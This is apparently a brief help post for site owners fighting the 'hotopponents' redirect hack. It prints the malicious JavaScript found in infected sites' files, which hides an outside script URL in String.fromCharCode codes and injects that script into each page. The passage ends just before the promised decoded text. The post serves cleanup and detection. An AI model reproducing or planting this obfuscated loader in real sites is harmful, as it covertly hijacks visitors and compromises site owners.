"hotopponents" redirect hack using CharCode

If you've been fighting the "hotopponents" redirect hack
and haven't been able to locate the redirect code,
check for this clever use of CharCode encoding within the site's javascript files:

(function(){ var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0]; s1.async=true; s1.src=String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 116, 111, 112, 112, 111, 110, 101, 110, 116, 115, 46, 115, 105, 116, 101, 47, 115, 105, 116, 101, 46, 106, 115, 63, 119, 116, 114, 61, 50); s0.parentNode.insertBefore(s1,s0); })();

Which translates to text (edited with spaces) below:
